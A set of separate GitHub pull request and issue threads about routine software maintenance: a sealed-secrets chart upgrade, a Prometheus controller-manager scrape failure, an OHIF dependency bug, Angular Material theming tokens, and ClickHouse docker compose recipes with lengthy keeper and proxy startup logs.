[stable/sealed-secrets] Upgrade to v0.10.0

Signed-off-by: David Karlsen<EMAIL_ADDRESS>What this PR does / why we need it:
Upgrades to latest release.
Which issue this PR fixes
(optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged)

fixes #

Special notes for your reviewer:
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[X] DCO signed
[X] Chart Version bumped
[X] Variables are documented in the README.md
[X] Title of the PR starts with chart name (e.g. [stable/mychartname])

/assign @stefanprodan

/ok-to-test


kube-controller-manager target is down

What happened?
kube-controller-manager target is down, because "server returned HTTP status 400 Bad Reques":

Did you expect to see something different?
I want to see its status is UP, which is ok on the k8s 1.8 cluster, but my current cluster is 1.16
How to reproduce it (as minimally and precisely as possible):
The image of prometheus is as follows:

kube-controller-manager ServiceMonitor:
kubectl get ServiceMonitor kube-controller-manager -o yaml
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"monitoring.coreos.com/v1","kind":"ServiceMonitor","metadata":{"annotations":{},"labels":{"k8s-app":"kube-controller-manager"},"name":"kube-controller-manager","namespace":"monitoring"},"spec":{"endpoints":[{"interval":"30s","port":"http-metrics","scheme":"http"}],"jobLabel":"k8s-app","selector":{"matchLabels":{"k8s-app":"kube-controller-manager"}}}}
  creationTimestamp: 2020-04-17T10:32:39Z
  generation: 1
  labels:
    k8s-app: kube-controller-manager
  name: kube-controller-manager
  namespace: monitoring
  resourceVersion: "10089"
  selfLink: /apis/monitoring.coreos.com/v1/namespaces/monitoring/servicemonitors/kube-controller-manager
  uid: 6b639daa-c47e-4c0b-ba68-0261f87c771e
spec:
  endpoints:
  - interval: 30s
    port: http-metrics
    scheme: http
  jobLabel: k8s-app
  selector:
    matchLabels:
      k8s-app: kube-controller-manager

kube-controller-manager ep:
k get ep kube-controller-manager-prometheus-discovery
NAME                                           ENDPOINTS              AGE
kube-controller-manager-prometheus-discovery   <IP_ADDRESS>:10252   19d
➜  ~ ip a | grep 128.187
    inet <IP_ADDRESS>/20 brd <IP_ADDRESS> scope global noprefixroute bond0

but:
lsof -i:10252
COMMAND     PID USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
kube-cont 21667 root    5u  IPv4 553131373      0t0  TCP m7-uiauto-gpu001:apollo-relay (LISTEN)

It should be missing a record pointing to prometheus ep, like scheduler：
lsof -i:10251
COMMAND     PID USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
kube-sche 20044 root    5u  IPv4 350863073      0t0  TCP m7-uiauto-gpu001:10251 (LISTEN)
kube-sche 20044 root    8u  IPv4 360508195      0t0  TCP m7-uiauto-gpu001:10251-><IP_ADDRESS>:41842 (ESTABLISHED)

Environment
uname -a
Linux m7-uiauto-gpu001 4.14.110-0.el7.4pd.x86_64 #1 SMP Wed Apr 17 13:55:31 CST 2019 x86_64 x86_64 x86_64 GNU/Linux

kubectl version
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.8", GitCommit:"ec6eb119b81be488b030e849b9e64fda4caaf33c", GitTreeState:"clean", BuildDate:"2020-03-12T21:00:06Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.8", GitCommit:"ec6eb119b81be488b030e849b9e64fda4caaf33c", GitTreeState:"clean", BuildDate:"2020-03-12T20:52:22Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}

Prometheus Operator version:
Insert image tag or Git SHA here

kubectl -n monitoring describe deployment prometheus-operator
Name:                   prometheus-operator
Namespace:              monitoring
CreationTimestamp:      Fri, 17 Apr 2020 18:31:19 +0800
Labels:                 k8s-app=prometheus-operator
Annotations:            deployment.kubernetes.io/revision: 1
                        kubectl.kubernetes.io/last-applied-configuration:
                          {"apiVersion":"apps/v1beta2","kind":"Deployment","metadata":{"annotations":{},"creationTimestamp":null,"labels":{"k8s-app":"prometheus-ope...
Selector:               k8s-app=prometheus-operator
Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType:           RollingUpdate
MinReadySeconds:        0
RollingUpdateStrategy:  25% max unavailable, 25% max surge
Pod Template:
  Labels:           k8s-app=prometheus-operator
                    prophet.4paradigm.com/deployment=prometheus-operator
  Service Account:  prometheus-operator
  Containers:
   prometheus-operator:
    Image:      <IP_ADDRESS>:35000/4paradigm.com/pms/prometheus-operator-enhanced:v0.20.1-v6
    Port:       8080/TCP
    Host Port:  0/TCP
    Args:
      --kubelet-service=kube-system/kubelet
      --config-reloader-image=<IP_ADDRESS>:35000/quay.io/coreos/configmap-reload:v0.0.1
      --config-reloader-cpu=100m
      --config-reloader-memory=50Mi
      --prometheus-config-reloader=<IP_ADDRESS>:35000/quay.io/coreos/prometheus-config-reloader:v0.20.0
    Limits:
      cpu:     500m
      memory:  200M
    Requests:
      cpu:      0
      memory:   0
    Liveness:   http-get http://:http/debug/pprof/cmdline delay=300s timeout=1s period=20s #success=1 #failure=3
    Readiness:  http-get http://:http/debug/pprof/cmdline delay=0s timeout=1s period=20s #success=1 #failure=3
    Environment:
      MY_POD_NAMESPACE:                   (v1:metadata.namespace)
      MY_NODE_NAME:                       (v1:spec.nodeName)
      MY_CPU_REQUEST:                    0 (requests.cpu)
      MY_CPU_LIMIT:                      1 (limits.cpu)
      MY_MEM_REQUEST:                    0 (requests.memory)
      MY_MEM_LIMIT:                      200000000 (limits.memory)
      PROPHET_VERSION:                   <IP_ADDRESS>
      ENDPOINTS_ENV_ENABLED:             false
      GO_MYSQL_PARAMS:                   loc=Local&charset=utf8mb4&parseTime=True&time_zone=%27%2B08%3A00%27&maxAllowedPacket=0
      JAEGER_AGENT_HOST:                 jaeger-agent
      JAEGER_AGENT_PORT:                 6831
      JAEGER_SAMPLER_MANAGER_HOST_PORT:  jaeger-agent:5778/sampling
      JAEGER_SAMPLER_TYPE:               remote
      JAEGER_TAGS:                       namespace=${MY_POD_NAMESPACE:}, node_name=${MY_NODE_NAME:}
      JDBC_MYSQL_PARAMS:                 connectionCollation=utf8mb4_unicode_ci&useSSL=false&sessionVariables=time_zone%3d'%2B0%3A00'
      PROPHET_LANG:                      zh-CN
      TRACING_ENABLED:                   true
      TRACING_SERVLET_EXCLUDE:           /health,/info
      TZ:                                Asia/Shanghai
      PROPHET_RESOURCE_DEFLATION:        true
    Mounts:                              <none>
  Volumes:                               <none>
Conditions:
  Type           Status  Reason
  ----           ------  ------
  Progressing    True    NewReplicaSetAvailable
  Available      True    MinimumReplicasAvailable
OldReplicaSets:  <none>
NewReplicaSet:   prometheus-operator-c57d5567 (1/1 replicas created)
Events:          <none>

Kubernetes version information:

kubectl version
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.8", GitCommit:"ec6eb119b81be488b030e849b9e64fda4caaf33c", GitTreeState:"clean", BuildDate:"2020-03-12T21:00:06Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.8", GitCommit:"ec6eb119b81be488b030e849b9e64fda4caaf33c", GitTreeState:"clean", BuildDate:"2020-03-12T20:52:22Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}

Kubernetes cluster kind:

Binary manual deployment

Manifests:

insert manifests relevant to the issue

Prometheus Operator Logs:

Prometheus-operator logs are normal.
But prometheus has the following logs:
level=error ts=2020-05-06T10:25:46.416675657Z caller=main.go:218 component=k8s_client_runtime err="github.com/prometheus/prometheus/discovery/kubernetes/kubernetes.go:289: Failed to watch *v1.Pod: Get https://<IP_ADDRESS>:443/api/v1/namespaces/prophet-resource-k8scdh/pods?resourceVersion=2515098&timeoutSeconds=574&watch=true: dial tcp <IP_ADDRESS>:443: connect: connection refused"
E0506 18:25:46.414258       1 streamwatcher.go:109] Unable to decode an event from the watch stream: http2: server sent GOAWAY and closed the connection; LastStreamID=2203, ErrCode=NO_ERROR, debug=""

Anything else we need to know?:
Is it because my prometheus version is too low, if so, why is it caused?

Your newer cluster probably only had the https endpoint, not the http endpoint.

@brancz
yes，i closed the http port.
now close this issue.


[Bug] New extension template outdated dependency version @ohif/i18n

Describe the Bug
https://github.com/OHIF/Viewers/blob/bd7f9592eaec1cc7c8347bb48419f449bed675ac/platform/cli/templates/extension/dependencies.json#L21
Version should be at least 3.6.0
Steps to Reproduce

yarn run cli create-extension
cd /path/to/created_extension
npm i

The current behavior
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving<EMAIL_ADDRESS>npm ERR! Found: @ohif/i18n@undefined
npm ERR! node_modules/@ohif/i18n
npm ERR!   peer<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR! node_modules/@ohif/extension-default
npm ERR!   peer<EMAIL_ADDRESS>from the root project

The expected behavior
npm i should work out-of-the-box
OS
Arch Linux
Node version
v20.6.1
Browser
N/A

This seems to be done #3689


fix(material/dialog): Move unthemable tokens to theme mixin

Though these tokens are not currently affected by the theme, in the future they will be affected by the design system used for theming (M2 or M3)
BREAKING CHANGE:
There are new styles emitted by mat.dialog-theme that are not emitted by any of: mat.dialog-color, mat.dialog-typography, mat.dialog-density. If you rely on the partial mixins only and don't call mat.dialog-theme, you can add mat.dialog-base to get the missing styles.

Just adding a comment here, not been involved in discussions around this- but is it correct to have such styles in the -theme mixin? Conceptually -theme only ever meant to delegate to the individual -color, -density and -typography systems. This would break this mental model (but not sure if we already did in other components?)

, not been involved in discussions around this- but is it correct to have such styles in the -theme mixin? Conceptually -theme only ever meant to delegate to the individual -color, -density and -typography systems. This would break this mental model (but not sure if we already did in other components?)

Just adding a comment here, not been involved in discussions around this- but is it correct to have such styles in the -theme mixin? Conceptually -theme only ever meant to delegate to the individual -color, -density and -typography systems. This would break this mental model (but not sure if we already did in other components?)

Just adding a comment here, not been involved in discussions around this- but is it correct to have such styles in the -theme mixin? Conceptually -theme only ever meant to delegate to the individual -color, -density and -typography systems. This would break this mental model (but not sure if we already did in other components?)

Some apps don't call -theme but rather the specific mixins individually. The base mixin is so that these apps can add this to their theme files to get the needed styles.

I see, so there are non color, non-typography, non-density styles that need to be part of the "theming system" so that they are configurable? In that case we are introducing a new "part" of the system which we need to document in our theming guide. The alternative is that we emit such styles just as part of "-color" I'd assume

Yes, we've added a new base part of the theme, which we do need to document (not done yet). These tokens tend to be things like shape & elevation that don't vary based on your color, typography, or density settings, but do vary based on the theming system you're using (M2 vs M3)

Interesting. Yeah, that's what I assumed. I wonder if at some point we end up having progressively more structural styles in theme- so that actual component CSS becomes less important.

The current plan is for the theme to contain all of the CSS variable definitions, and the component styles to have all of the "concrete" property definitions (i.e. all of the ones that aren't CSS vars). I think that makes for a nice split

Agreed. That seems like a reasonable mental model. Makes sense that we need a new "base" sub-system then


some optimisation for number of addresses and updates to addresses

Should help with issue #1309 (there is still plenty more we can do).

@grs Are these still relevant or should we close the PR?

these are still relevant, I'll rebase and try and track down the cause of the remaining test failure

Closing in favour of https://github.com/EnMasseProject/enmasse/pull/1767


mounter(ticdc): release-7.5 ignore checksum v2

What problem does this PR solve?

Issue Number: close #11525
What is changed and how it works?
Check List
Tests

Unit test
Integration test
Manual test (add detailed scripts or steps below)

Questions
Will it cause performance regression or break compatibility?
Do you need to update user documentation, design documentation or monitoring documentation?
Release note
`None`

/retest


[docker-compose-recipes] Add docker compose recipes

This PR adds the following docker compose examples.
A list of ClickHouse docker compose recipes

ClickHouse and Grafana
ClickHouse and Minio S3
Clickhouse and LDAP (OpenLDAP) - WIP
Clickhouse Cluster: 2 CH nodes - 3 ClickHouse Keeper (1 Shard 2 Replicas)
Clickhouse Cluster: 2 CH nodes - 3 ClickHouse Keeper (2 Shards 1 Replica)
Clickhouse Cluster: 4 CH nodes - 3 ClickHouse Keeper (2 Shards 2 Replicas)
Clickhouse Cluster: 2 CH nodes - 3 ClickHouse Keeper (1 Shard 2 Replicas) - CH Proxy LB
Clickhouse Cluster: 2 CH nodes - 3 ClickHouse Keeper (2 Shards 1 Replica) - CH Proxy LB
Clickhouse Cluster: 4 CH nodes - 3 ClickHouse Keeper (2 Shards 2 Replicas) - CH Proxy LB

README file are added and updated and a minor repo folder reorg to allow for this new content.

One concern: The keeper containers are running Keeper embedded in the ClickHouse server process rather than standalone Keeper.  We recommend running standalone Keepers, and the config files would then be put in /etc/clickhouse-keeper/ instead.
@felixoid do you think that we should have a latest tag for the clickhouse-keeper Docker image?  There is a latest-alpine, but not plain latest.

It's possible to add, although the hack looks a bit dirty to me. It's on the way

one undesirable effect is taht the terminal where the recipe is spun up is now flooded with keeper junk logs
house-keeper-03  | (update) new target priority: 1
clickhouse-keeper-02  | EMPTY PAYLOAD
clickhouse-keeper-03  | [LOG OK] req log idx: 9, req log term: 1, my last log idx: 9, my log (9) term: 1
clickhouse-keeper-02  | send req 2 -> 1, type append_entries_request
clickhouse-keeper-03  | local log idx 9, target_commit_idx 9, quick_commit_index_ 9, state_->get_commit_idx() 9
clickhouse-keeper-02  | sent
clickhouse-keeper-03  | cancel existing timer
clickhouse-keeper-03  | re-schedule election timer
clickhouse-keeper-03  | batch size hint: 0 bytes
clickhouse-keeper-03  | Response back a append_entries_response message to 2 with Accepted=1, Term=1, NextIndex=10
clickhouse-keeper-02  | resp of req 2 -> 3, type append_entries_request, OK
clickhouse-keeper-02  | Receive a append_entries_response message from peer 3 with Result=1, Term=1, NextIndex=10
clickhouse-keeper-02  | src: 3, dst: 2, resp->get_term(): 1
clickhouse-keeper-02  | handle append entries resp (from 3), resp.get_next_idx(): 10
clickhouse-keeper-02  | peer 3 batch size hint: 0 bytes
clickhouse-keeper-02  | peer 3, prev matched idx: 9, new matched idx: 9
clickhouse-keeper-02  | last durable index 9, precommit index 9
clickhouse-keeper-02  | quorum idx 1, 9 9 9
clickhouse-keeper-02  | local log idx 9, target_commit_idx 9, quick_commit_index_ 9, state_->get_commit_idx() 9
clickhouse-keeper-02  | resp of req 2 -> 1, type append_entries_request, OK
clickhouse-keeper-02  | Receive a append_entries_response message from peer 1 with Result=1, Term=1, NextIndex=10
clickhouse-keeper-02  | src: 1, dst: 2, resp->get_term(): 1
clickhouse-keeper-02  | handle append entries resp (from 1), resp.get_next_idx(): 10
clickhouse-keeper-02  | peer 1 batch size hint: 0 bytes
clickhouse-keeper-02  | peer 1, prev matched idx: 9, new matched idx: 9
clickhouse-keeper-02  | last durable index 9, precommit index 9
clickhouse-keeper-02  | quorum idx 1, 9 9 9
clickhouse-keeper-02  | local log idx 9, target_commit_idx 9, quick_commit_index_ 9, state_->get_commit_idx() 9
clickhouse-keeper-01  | Receive a append_entries_request message fr

The clickhouse/clickhouse-keeper:latest is here https://hub.docker.com/r/clickhouse/clickhouse-keeper/tags?page=1&name=latest

@DanRoscigno  as of now with my latest commit we get:
cluster_1S_2R docker compose up
Attaching to ch-proxy, clickhouse-01, clickhouse-02, clickhouse-keeper-01, clickhouse-keeper-02, clickhouse-keeper-03
clickhouse-keeper-01  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-02  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-03  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-01  | Starting ClickHouse Keeper <IP_ADDRESS>23(revision : 54472, git hash: 46e85357ce2da2a99f56ee83a079e892d7ec3726, build id: 27B759B5A042E67EE0BC17B859AFF90A614EB343), PID 1
clickhouse-keeper-01  | starting up
clickhouse-keeper-01  | OS Name = Linux, OS Version = 5.15.49-linuxkit, OS Architecture = aarch64
clickhouse-keeper-02  | Starting ClickHouse Keeper <IP_ADDRESS>23(revision : 54472, git hash: 46e85357ce2da2a99f56ee83a079e892d7ec3726, build id: 27B759B5A042E67EE0BC17B859AFF90A614EB343), PID 1
clickhouse-keeper-02  | starting up
clickhouse-keeper-02  | OS Name = Linux, OS Version = 5.15.49-linuxkit, OS Architecture = aarch64
clickhouse-keeper-03  | Starting ClickHouse Keeper <IP_ADDRESS>23(revision : 54472, git hash: 46e85357ce2da2a99f56ee83a079e892d7ec3726, build id: 27B759B5A042E67EE0BC17B859AFF90A614EB343), PID 1
clickhouse-keeper-03  | starting up
clickhouse-keeper-03  | OS Name = Linux, OS Version = 5.15.49-linuxkit, OS Architecture = aarch64
clickhouse-keeper-01  | force_sync enabled
clickhouse-keeper-02  | force_sync enabled
clickhouse-keeper-01  | Preprocessing 125 log entries
clickhouse-keeper-01  | Preprocessing done
clickhouse-keeper-01  | Will use config from log store with log index 1838
clickhouse-keeper-01  | Raft ASIO listener initiated on :::9234, unsecured
clickhouse-keeper-03  | force_sync enabled
clickhouse-keeper-01  | Read state from /var/lib/clickhouse/coordination/state
clickhouse-keeper-01  | parameters: election timeout range 1000 - 2000, heartbeat 500, leadership expiry 10000, max batch 100, backoff 50, snapshot distance 100000, enable randomized snapshot creation NO, log sync stop gap 99999, reserved logs 100000, client timeout 10000, auto forwarding on, API call type async, custom commit quorum size 0, custom election quorum size 0, snapshot receiver included, leadership transfer wait time 0, grace period of lagging state machine 0, snapshot IO: blocking, parallel log appending: on
clickhouse-keeper-01  | new election timeout range: 1000 - 2000
clickhouse-keeper-01  |    === INIT RAFT SERVER ===
clickhouse-keeper-01  | commit index 2122
clickhouse-keeper-01  | term 14
clickhouse-keeper-01  | election timer allowed
clickhouse-keeper-01  | log store start 1, end 2247
clickhouse-keeper-01  | config log idx 2123, prev log idx 1838
clickhouse-keeper-01  | detect a configuration change that is not committed yet at index 2123
clickhouse-keeper-01  | peer 1: DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-01  | peer 2: DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-01  | peer 3: DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-01  | my id: 1, voting_member
clickhouse-keeper-01  | num peers: 2
clickhouse-keeper-01  | global manager does not exist. will use local thread for commit and append
clickhouse-keeper-01  | wait for HB, for 50 + [1000, 2000] ms
clickhouse-keeper-01  | bg append_entries thread initiated
clickhouse-keeper-02  | Preprocessing 125 log entries
clickhouse-keeper-02  | Preprocessing done
clickhouse-keeper-02  | Will use config from log store with log index 1838
clickhouse-keeper-02  | Raft ASIO listener initiated on :::9234, unsecured
clickhouse-keeper-03  | Preprocessing 125 log entries
clickhouse-keeper-03  | Preprocessing done
clickhouse-keeper-03  | Will use config from log store with log index 1838
clickhouse-keeper-02  | Read state from /var/lib/clickhouse/coordination/state
clickhouse-keeper-03  | Raft ASIO listener initiated on :::9234, unsecured
clickhouse-keeper-02  | parameters: election timeout range 1000 - 2000, heartbeat 500, leadership expiry 10000, max batch 100, backoff 50, snapshot distance 100000, enable randomized snapshot creation NO, log sync stop gap 99999, reserved logs 100000, client timeout 10000, auto forwarding on, API call type async, custom commit quorum size 0, custom election quorum size 0, snapshot receiver included, leadership transfer wait time 0, grace period of lagging state machine 0, snapshot IO: blocking, parallel log appending: on
clickhouse-keeper-02  | new election timeout range: 1000 - 2000
clickhouse-keeper-02  |    === INIT RAFT SERVER ===
clickhouse-keeper-02  | commit index 2122
clickhouse-keeper-02  | term 14
clickhouse-keeper-02  | election timer allowed
clickhouse-keeper-02  | log store start 1, end 2247
clickhouse-keeper-02  | config log idx 2123, prev log idx 1838
clickhouse-keeper-02  | detect a configuration change that is not committed yet at index 2123
clickhouse-keeper-02  | peer 1: DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-02  | peer 2: DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-02  | peer 3: DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-02  | my id: 2, voting_member
clickhouse-keeper-02  | num peers: 2
clickhouse-keeper-02  | global manager does not exist. will use local thread for commit and append
clickhouse-keeper-02  | wait for HB, for 50 + [1000, 2000] ms
clickhouse-keeper-02  | bg append_entries thread initiated
clickhouse-keeper-03  | Read state from /var/lib/clickhouse/coordination/state
clickhouse-keeper-03  | parameters: election timeout range 1000 - 2000, heartbeat 500, leadership expiry 10000, max batch 100, backoff 50, snapshot distance 100000, enable randomized snapshot creation NO, log sync stop gap 99999, reserved logs 100000, client timeout 10000, auto forwarding on, API call type async, custom commit quorum size 0, custom election quorum size 0, snapshot receiver included, leadership transfer wait time 0, grace period of lagging state machine 0, snapshot IO: blocking, parallel log appending: on
clickhouse-keeper-03  | new election timeout range: 1000 - 2000
clickhouse-keeper-03  |    === INIT RAFT SERVER ===
clickhouse-keeper-03  | commit index 2122
clickhouse-keeper-03  | term 14
clickhouse-keeper-03  | election timer allowed
clickhouse-keeper-03  | log store start 1, end 2247
clickhouse-keeper-03  | config log idx 2123, prev log idx 1838
clickhouse-keeper-03  | detect a configuration change that is not committed yet at index 2123
clickhouse-keeper-03  | peer 1: DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-03  | peer 2: DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-03  | peer 3: DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-03  | my id: 3, voting_member
clickhouse-keeper-03  | num peers: 2
clickhouse-keeper-03  | global manager does not exist. will use local thread for commit and append
clickhouse-keeper-03  | wait for HB, for 50 + [1000, 2000] ms
clickhouse-keeper-03  | bg append_entries thread initiated
clickhouse-keeper-01  | Starting Keeper asynchronously, server will accept connections to Keeper when it will be ready
clickhouse-keeper-01  | Server still not initialized, will not apply configuration until initialization finished
clickhouse-keeper-01  | Listening for Keeper (tcp): <IP_ADDRESS>:9181
clickhouse-keeper-01  | Ready for connections.
clickhouse-keeper-02  | Starting Keeper asynchronously, server will accept connections to Keeper when it will be ready
clickhouse-keeper-02  | Listening for Keeper (tcp): <IP_ADDRESS>:9181
clickhouse-keeper-02  | Server still not initialized, will not apply configuration until initialization finished
clickhouse-keeper-03  | Starting Keeper asynchronously, server will accept connections to Keeper when it will be ready
clickhouse-keeper-03  | Server still not initialized, will not apply configuration until initialization finished
clickhouse-keeper-03  | Listening for Keeper (tcp): <IP_ADDRESS>:9181
clickhouse-keeper-02  | Ready for connections.
clickhouse-keeper-03  | Ready for connections.
ch-proxy              | INFO: 2023/04/03 12:59:47 main.go:47: chproxy ver. 1.22.0, rev. 5c1e8e711fba637ebc725bd1195acf52cd93a3f1, built at 2023-03-01T09:04:29Z
ch-proxy              | INFO: 2023/04/03 12:59:47 main.go:48: Loading config: /opt/config.yml
ch-proxy              | ERROR: 2023/04/03 12:59:47 scope.go:734: error while health-checking "<IP_ADDRESS>:8123" host: cannot send request in 25.295292ms: Get "http://<IP_ADDRESS>:8123/ping": dial tcp <IP_ADDRESS>:8123: connect: connection refused
ch-proxy              | ERROR: 2023/04/03 12:59:47 scope.go:734: error while health-checking "<IP_ADDRESS>:8123" host: cannot send request in 25.286042ms: Get "http://<IP_ADDRESS>:8123/ping": dial tcp <IP_ADDRESS>:8123: connect: connection refused
ch-proxy              | INFO: 2023/04/03 12:59:47 main.go:305: Loaded config:
ch-proxy              | server:
ch-proxy              |   http:
ch-proxy              |     listen_addr: :9090
ch-proxy              |     allowed_networks:
ch-proxy              |     - <IP_ADDRESS>/24
ch-proxy              |     - <IP_ADDRESS>/16
ch-proxy              |     forceautocerthandler: false
ch-proxy              |     read_timeout: 1m
ch-proxy              |     write_timeout: 3m
ch-proxy              |     idle_timeout: 10m
ch-proxy              | clusters:
ch-proxy              | - name: default
ch-proxy              |   scheme: http
ch-proxy              |   nodes:
ch-proxy              |   - <IP_ADDRESS>:8123
ch-proxy              |   - <IP_ADDRESS>:8123
ch-proxy              |   users:
ch-proxy              |   - name: default
ch-proxy              |     password: XXX
ch-proxy              |   heartbeat:
ch-proxy              |     interval: 5s
ch-proxy              |     timeout: 3s
ch-proxy              |     request: /ping
ch-proxy              |     response: |
ch-proxy              |       Ok.
ch-proxy              | users:
ch-proxy              | - name: default
ch-proxy              |   password: XXX
ch-proxy              |   to_cluster: default
ch-proxy              |   to_user: default
ch-proxy              |   max_execution_time: 2m
ch-proxy              | INFO: 2023/04/03 12:59:47 main.go:59: Loading config "/opt/config.yml": successful
ch-proxy              | INFO: 2023/04/03 12:59:47 main.go:165: Serving http on ":9090"
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-01         | Logging debug to /var/log/clickhouse-server/clickhouse-server.log
clickhouse-01         | Logging errors to /var/log/clickhouse-server/clickhouse-server.err.log
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-01         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/config.xml'.
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/users.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/users.d/users.xml'.
clickhouse-01         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/users.xml'.
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-02         | Logging debug to /var/log/clickhouse-server/clickhouse-server.log
clickhouse-02         | Logging errors to /var/log/clickhouse-server/clickhouse-server.err.log
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-02         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/config.xml'.
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/users.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/users.d/users.xml'.
clickhouse-02         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/users.xml'.
clickhouse-keeper-01  | Election timeout, initiate leader election
clickhouse-keeper-01  | [PRIORITY] decay, target 1 -> 1, mine 1
clickhouse-keeper-01  | [ELECTION TIMEOUT] current role: follower, log last term 14, state term 14, target p 1, my p 1, hb dead, pre-vote NOT done
clickhouse-keeper-01  | pre-vote term (0) is different, reset it to 14
clickhouse-keeper-01  | [PRE-VOTE INIT] my id 1, my role candidate, term 14, log idx 2247, log term 14, priority (target 1 / mine 1)
clickhouse-keeper-01  | 0xffff00c40e18 connected to clickhouse-keeper-03:9234 (as a client)
clickhouse-keeper-01  | 0xffff00c40718 connected to clickhouse-keeper-02:9234 (as a client)
clickhouse-keeper-01  | [PRE-VOTE RESP] peer 3 (O), term 14, resp term 14, my role candidate, dead 2, live 0, num voting members 3, quorum 2
clickhouse-keeper-01  | [PRE-VOTE DONE] SUCCESS, term 14
clickhouse-keeper-01  | [PRE-VOTE DONE] initiate actual vote
clickhouse-keeper-03  | receive a incoming rpc connection
clickhouse-keeper-03  | session 1 got connection from ::ffff:<IP_ADDRESS>:39160 (as a server)
clickhouse-keeper-02  | receive a incoming rpc connection
clickhouse-keeper-02  | session 1 got connection from ::ffff:<IP_ADDRESS>:57474 (as a server)
clickhouse-keeper-02  | [PRE-VOTE REQ] my role follower, from peer 1, log term: req 14 / mine 14
clickhouse-keeper-02  | last idx: req 2247 / mine 2247, term: req 14 / mine 14
clickhouse-keeper-02  | HB dead
clickhouse-keeper-02  | pre-vote decision: O (grant)
clickhouse-keeper-03  | [PRE-VOTE REQ] my role follower, from peer 1, log term: req 14 / mine 14
clickhouse-keeper-03  | last idx: req 2247 / mine 2247, term: req 14 / mine 14
clickhouse-keeper-03  | HB dead
clickhouse-keeper-03  | pre-vote decision: O (grant)
clickhouse-keeper-01  | [VOTE INIT] my id 1, my role candidate, term 15, log idx 2247, log term 14, priority (target 1 / mine 1)
clickhouse-keeper-01  | [PRE-VOTE RESP] peer 2 (O), term 14, resp term 14, my role candidate, dead 3, live 0, num voting members 3, quorum 2
clickhouse-keeper-01  | [PRE-VOTE DONE] SUCCESS, term 14
clickhouse-keeper-01  | [PRE-VOTE DONE] actual vote is already initiated, do nothing
clickhouse-keeper-03  | [BECOME FOLLOWER] term 15
clickhouse-keeper-03  | [PRIORITY] decay, target 1 -> 1, mine 1
clickhouse-keeper-03  | [VOTE REQ] my role follower, from peer 1, log term: req 14 / mine 14
clickhouse-keeper-03  | last idx: req 2247 / mine 2247, term: req 15 / mine 15
clickhouse-keeper-03  | priority: target 1 / mine 1, voted_for -1
clickhouse-keeper-03  | decision: O (grant), voted_for 1, term 15
clickhouse-keeper-02  | [BECOME FOLLOWER] term 15
clickhouse-keeper-02  | [PRIORITY] decay, target 1 -> 1, mine 1
clickhouse-keeper-02  | [VOTE REQ] my role follower, from peer 1, log term: req 14 / mine 14
clickhouse-keeper-02  | last idx: req 2247 / mine 2247, term: req 15 / mine 15
clickhouse-keeper-02  | priority: target 1 / mine 1, voted_for -1
clickhouse-keeper-02  | decision: O (grant), voted_for 1, term 15
clickhouse-keeper-01  | [VOTE RESP] peer 2 (O), resp term 15, my role candidate, granted 2, responded 2, num voting members 3, quorum 2
clickhouse-keeper-01  | Server is elected as leader for term 15
clickhouse-keeper-01  | number of pending commit elements: 0
clickhouse-keeper-01  | state machine commit index 2122, precommit index 2247, last log index 2247
clickhouse-keeper-01  | found uncommitted config at 2123, size 145
clickhouse-keeper-01  | [BECOME LEADER] appended new config at 2248
clickhouse-keeper-01  | Could not preallocate space on disk using fallocate. Error: errno: 95, strerror: Operation not supported, errno: 95
clickhouse-keeper-01  |   === LEADER (term 15) ===
